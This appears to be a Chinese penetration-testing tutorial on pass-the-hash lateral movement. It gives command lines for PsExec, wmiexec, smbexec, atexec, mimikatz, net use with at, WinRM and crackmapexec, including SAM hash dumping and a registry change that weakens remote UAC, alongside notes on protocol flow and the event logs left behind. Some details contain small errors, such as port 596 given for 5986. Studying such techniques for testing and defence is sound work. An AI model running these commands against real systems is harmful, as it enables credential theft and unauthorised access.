PTH

PTH(pass the hash)也叫做hash传递。在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过NTLM Hash(mimikatz或其他手段抓取到的密码hash)访问远程主机或服务,而不用提供明文密码。因为在Windows中通常会用NTLM进行身份认证,hash值由系统API生成,如果攻击者获得了hash,就能够跳过调用API生成hash的过程,在身份验证的时候模拟该用户。

从winows 2008开始(包括2008),rid不为500的用户,windows都不允许远程连接(包括net use、at、winrm等),所以如果想对目标机远程执行命令,必须使用目标机rid 500的账号(通常为administrator)或域管账号。

PsExec

0x00 PsExec简介

PsExec 是由 Mark Russinovich 创建的 Sysinternals Suite中包含的工具,基于445端口 走SMB协议,NTLM认证。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。PsExec是一个轻量级的telnet替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与命令控制台几乎相同的实时交互性。PsExec最强大的功能就是在远程系统和远程支持工具(如ipconfig、whoami)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。

0x01 食用姿势

  1. ### 前提条件:开启admin$(映射C:\\Windows目录)且关闭Remote UAC
  2. ## 针对远程建立连接的方式有两种,一种先建立IPC通道连接,然后直接使用,操作如下:
  3. # 先net use 连接上IPC
  4. net use \\192.168.0.1\ipc$ "password123!@#" /user:alibaba
  5. # 确认是否进入IPC会话
  6. .\PsExec64.exe -accepteula \\ip -s cmd.exe cmd
  7. .\PsExec64.exe -accepteula \\ip -u administrator -p 123456 -i -d cmd /c start http://www.baidu.com
  8. ## 另一种时在psexec的参数中指定账户密码 操作如下:
  9. .\PsExec64.exe \\192.168.0.1 u administrator p password

0x02 执行原理

  1. 1.通过ipc$连接,释放psexecsvc.exe到目标
  2. 2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
  3. 3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。
  4. 4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug(可在命令行下执行exit退出),所以一般不推荐使用psexec,推荐wmiexec

首先进行TCP三次握手连接目标445端口

通过SMB协议协商使用SMB协议的版本

进行NTLM认证,发送SESSION_SETUP_ANDX协商请求,包括username和pass hash

写入PSEXECSVC.exe文件,远程调用svcctl协议启动psexesvc服务

psexec必须调用svcctl协议,否则psexesvc服务无法启动

0x03 关于PsExec的日志

psexec成功登录退出后,会在目标机器的安全日志中产生Event 4624、4628、4634,在系统日志中产生Event 7045(记录PSEXESVC安装)、Event 7036(记录PSEXESVC服务状态)

0x04 Remote UAC的延展测试

UAC是什么?UAC是微软在Windows Vista 以后版本引入的一种安全机制,可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。那么对于防御是不是不改UAC,保持默认或更高就可以了?并不是,可以改注册表的嘛。

方法二:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem添加新DWORD值,键值:LocalAccountTokenFilterPolicy 为1。

WMI

0x00 WMI简介

WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。

使用WMIC横向移动连接远程主机,需要目标主机开放135和445端口。

(135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445端⼝传回显)

WMI相比于PsExec更隐蔽些

0x01 食用姿势

  1. ### 远程连接
  2. ## 直接使用wmic使用明文密码连接(未利用IPC$)
  3. .\wmiexec.exe admin:admin@192.168.124.165
  4. .\wmiexec.exe 用户名:明文密码@ip
  5. ## PTH
  6. .\wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell
  7. .\wmiexec.exe -hashes f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165 // 哈希传递获得shell
  8. .\wmiexec.exe -hashes f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165 "ipconfig" // 执行命令
  9. .\wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令
  10. -hashes 471991a8c33ff1593f1ad458bdd6f0c5 central.com.br\Administrator "ipconfig"

ps:获取的当前shell权限为此用户权限

smbexec

0x00 smbexec简介

smbexec可以通过文件共享在远程系统中执行命令。

需要开启c$共享,445端口。

0x01 食用姿势

  1. ## 在3389或类似于3389环境下
  2. # 明文密码
  3. .\smbexec.exe 用户名:密码@ip
  4. .\smbexec.exe admin:admin@192.168.124.165
  5. # hash
  6. .\smbexec.exe -hashes :NTLMhash 用户名@ip
  7. .\smbexec.exe -hashes :209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165
  8. ## 在socks环境下
  9. .\smbexec.exe rootkit/用户名:密码@ip
  10. .\smbexec.exe -hashes :NTLMhash rootkit/用户名@ip

ps:这里成功后获得的是system权限 ,所以后面如果环境允许,可以利用smbexec配合cme或者cs拿到system权限的shell或机器。

atexec

0x00 atexec简介

atexec是通过windows计划任务执行远程命令,atexec是一个半交互的工具,即参数中添加需要在远程主机执行的命令,工具执行后即返回命令结果,适用于webshell下,也适用于其他网络环境。

0x01 食用姿势

用法大致与smbexec相同

  1. ## 在3389或类似于3389环境下
  2. # 明文密码
  3. .\atexec.exe 用户名:密码@ip
  4. .\atexec.exe admin:admin@192.168.124.165
  5. # hash
  6. .\atexec.exe -hashes :NTLMhash 用户名@ip
  7. .\atexec.exe -hashes :209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165
  8. ## 在socks环境下
  9. .\atexec.exe rootkit/用户名:密码@ip
  10. .\atexec.exe -hashes :NTLMhash rootkit/用户名@ip

mimikatz

0x01 食用姿势

mimikatz的食用方法有些许奇怪

  1. privilege::debug
  2. sekurlsa::pth /user:admin /domain:workgroup /ntlm:209c6174da490caeb422f3fa5a7ae634
  1. # 传文件
  2. copy <file-path\file> \\ip\ipc$ 或者
  3. copy <file-path\file> \\ip\c$ 或者
  4. copy <file-path\file> \\ip\admin$
  5. # 计划任务
  6. at \\ip 时间 程序名,如:
  7. at \\127.0.0.0 11:00 love.exe

如下图,在新弹出的cmd中net use连接即可,后续可通过copy或at命令进行上线或权限维持。

net use

net use将计算机与网络其他计算机共享资源连接或断开,或者显示关于计算机共享连接的信息,或者切断计算机与共享资源的连接(删除磁盘映射),当不带选项使用本命令时,它会列出计算机的连接。

  1. # 列出所有共享资源
  2. net use
  3. # 建立IPC$
  4. net use \\ip\ipc$ "<password>" /user:<username>
  5. # 删除IPC$
  6. net use \\ip\ipc$ /delete
  7. # 传文件
  8. copy <file-path\file> \\ip\ipc$ 或者
  9. copy <file-path\file> \\ip\c$ 或者
  10. copy <file-path\file> \\ip\admin$
  11. # 计划任务
  12. at \\ip 时间 程序名,如:
  13. at \\127.0.0.1 9:00 calc.exe

WinRM

0x00 WinRM简介

WinRM(Windows Remote Managementd)是windows操作系统的一部分,基于Web服务管理(WS-Management)标准。是一项允许管理员在系统上远程执行管理任务的服务。一般是监听在5985端口(HTTP),HTTPS协议监听在596端口上,默认支持Kerberos和NTLM身份验证。使用此服务需要管理员级别的凭据。

WinRM服务将在Windows Server 2008和更高版本上自动启动(在Windows Vista中,需要手动启动该服务)。

默认情况下,未配置WinRM侦听器。即使WinRM服务正在运行,也无法接收或发送请求数据的WS-Management协议消息。

0x01 搭建WinRM服务

环境:

win 2008 R2 --> WinRM

win7 攻击机

  1. # 将网络连接类型改为“专用” win7的话改为工作网络winrm quickconfig//针对winrm service 进行基础配置winrm e winrm/config/listener//查看winrm service listener:winrm set winrm/config/service/auth @{Basic="true"}//为winrm service 配置authwinrm set winrm/config/service @{AllowUnencrypted="true"}//为winrm service 配置加密方式为允许非加密winrm enumerate winrm/config/listener//winrm service返回信息则启动配置成功# 将目标计算机添加到 TrustedHosts 配置设置,TrustedHosts=”*”代表所有IP都可尝试连接到此计算机的WinRM服务,这里类似于白名单机制。winrm quickconfig -qwinrm set winrm/config/Client @{TrustedHosts=”*”}# 攻击机和环境靶机都需要处于专用网络或者在域内之后可以netstat -an看一下端口 5985开启就说明正常启动WinRM了

0x02 食用姿势

winrs.exe ,基于命令行的工具,此工具作为客户端使用,用于远程连接运行WinRM的服务器并执行大多数的cmd命令

winrs -? 可以查看帮助,Winrs事件作为Microsoft-Windows-WinRM / Operational(事件ID 91)记录在远程主机上。

常用姿势

  1. # 远程执行命令winrs -r:http://ip:5985 -u:用户名 -p:密码 "ipconfig"# 创建新线程启动calcwinrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://ip:5985 -u:administrator -p:密码winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://192.168.124.167:5985 -u:administrator -p:z123456.

不过不知道为什么没弹calc,但是calc的线程是起来了。

crackmapexec

一款强大的内网横向的工具

功能很多 这里只介绍几个常用到的

  1. # 扫描c段445crackmapexec smb 192.168.124.0/24

  1. # 指定单一用户与密码进行c段扫描crackmapexec smb 192.168.124.0/24 -u admin -p admin --pass-pol

带有黄色的"Pwn3d!"意味着我们在这台机器上拥有管理员权限

  1. # 列出当前c段所有可用共享crackmapexec smb 192.168.124.0/24 -u admin -p admin --shares

  1. # PTH,指定hash进行横向crackmapexec smb 192.168.124.0/24 -u admin -H 209c6174da490caeb422f3fa5a7ae634 --pass-pol

  1. # -H和-p参数都可指定文件去批量跑c段(--pass-pol),同理也可跑共享(--shares)crackmapexec smb 192.168.124.0/24 -u ./user.txt -H hash.txt --pass-pol

  1. # winrm同理,只不过没有--pass-pol参数了crackmapexec winrm 192.168.124.0/24 -u user.txt -H hash.txt

  1. # --sam dump主机hashcrackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 --sam

  1. # -x 执行命令,默认使用wmi执行命令(这里可以通过--exec-method参数指定smbexec来获得system权限执行命令)crackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 -x "whoami"crackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 -x "whoami" --exec-method smbexec

Reference

https://www.anquanke.com/post/id/222746

http://cn0sec.cn/index.php/archives/53/

https://www.cnblogs.com/sup3rman/p/12381874.html

https://ishare.ifeng.com/c/s/7qiKOFLV4ZM

https://cloud.tencent.com/developer/article/1802241

https://www.freebuf.com/articles/system/259632.html

https://www.anquanke.com/post/id/84980

PTH的几种食用姿势的更多相关文章

  1. 【代码审计】后台Getshell的两种常规姿势

    0x00 前言 在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作. 这里结合代码实例介绍白盒Ge ...

  2. SpringBoot 处理异常的几种常见姿势

    SpringBoot 处理异常的几种常见姿势 1. 使用 @ControllerAdvice 和 @ExceptionHandler 处理全局异常 这是目前很常用的一种方式,非常推荐.测试代码中用到了 ...

  3. SpringBoot系列教程web篇Listener四种注册姿势

    java web三要素Filter, Servlet前面分别进行了介绍,接下来我们看一下Listener的相关知识点,本篇博文主要内容为SpringBoot环境下,如何自定义Listener并注册到s ...

  4. (转)解锁MySQL备份恢复的4种正确姿势

    本文根据DBAplus社群第104期线上分享整理而成. 原文:http://dbaplus.cn/news-11-1267-1.html 讲师介绍   冯帅 点融网高级DBA 获有Oracle OCM ...

  5. 肝了两天IntelliJ IDEA 2020,解锁11种新姿势, 真香!!!

    IDEA2020版本正式发布已经有3个月了,当时由于各方面原因(太懒)也没有去尝试新功能.于是这个周末特意去在另一个电脑上下载了最新版的IDEA,并尝试了一下.总的来说呢,体验上明显的提升. 作为一个 ...

  6. Upfile的几种常见姿势

    记录一下文件上传的常见姿势,更全面的可以做upload-labs. 实验环境:win2003 phpstudy 实验平台:upfile 一.准备上传的一句话木马 eval函数将接受的字符串当做代码执行 ...

  7. Unity 的几种打包姿势(android)

    Unity 版本  4.3.2 图片1 1 默认的工程进行打包 得到的apk为8.1m(net subset) 图片2 2 代码剥离最小 – use mirco mscorlib 图片3 3  从网上 ...

  8. 补习系列(7)-springboot 实现拦截的五种姿势

    目录 简介 姿势一.使用 Filter 接口 1. 注册 FilterRegistrationBean 2. @WebFilter 注解 姿势二.HanlderInterceptor 姿势三.@Exc ...

  9. Spring WebFlux, 它是一种异步的, 非阻塞的, 支持背压(Back pressure)机制的Web 开发WebFlux 支持两种编程风(姿)格(势) 使用@Controller这种基于注解

    概述 什么是 Spring WebFlux, 它是一种异步的, 非阻塞的, 支持背压(Back pressure)机制的Web 开发框架. 要深入了解 Spring WebFlux, 首先要了知道 R ...

随机推荐

  1. 通过钉钉网页上的js学习xss打cookie

    做完了一个项目,然后没啥事做,无意看到了一个钉钉的外部链接: 题外话1: 查看源码,复制其中的代码: try { var search = location.search; if (search &a ...

  2. Android Hook学习之ptrace函数的使用

    Synopsis #include <sys/ptrace.h> long ptrace(enum __ptrace_request request, pid_t pid, void *a ...

  3. Python脚本抓取京东手机的配置信息

    以下代码是使用python抓取京东小米8手机的配置信息 首先找到小米8商品的链接:https://item.jd.com/7437788.html 然后找到其配置信息的标签,我们找到其配置信息的标签为 ...

  4. node-mongo封装

    node 里面调用mongo封装了下. mongo.js文件 const { MongoClient, ObjectId } = require('mongodb'); const mongourl ...

  5. (3) arm 指令

    跳转指令1.1 B 跳转指令 B{cond} label 说明:如果条件cond满足,arm处理器将立即跳转到label指定的地址处继续执行.1.2 BL 带链接的跳转指令 BL{cond} labe ...

  6. SpringBoot整合JWT

    JWT (整合SpringBoot) 1. 引入依赖 <!-- 引入JWT --> <dependency> <groupId>com.auth0</grou ...

  7. Java对象内存分布

    [deerhang] 创建对象的四种方式:new关键字.反射.Object.clone().unsafe方法 new和反射是通过调用构造器创建对象的,创建对象的时候使用invokespecial指令 ...

  8. 03.28,周六,12:00-17:00,ICPC训练联盟周赛,选用试题:UCF Local Programming Contest 2016正式赛。

    A. Majestic 10 题意:三个数均大于10则输出"triple-double",如果两个数大于10则输出"double-double",如果一个大于1 ...

  9. 2020BUAA-团队介绍-采访

    团队作业-团队介绍和采访 项目 内容 课程:北航2020软件工程 博客园班级地址 作业要求 团队作业-团队介绍和采访 团队介绍 姓名 有图有真相 个人介绍 刘y 精通(没那么熟悉)c++和python ...

  10. 前端Node的实用方法

    Node 一.什么是Node Node是以基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动.非阻塞式I/O模型(I/O是 input/output的缩写,即输入输出端口,在 ...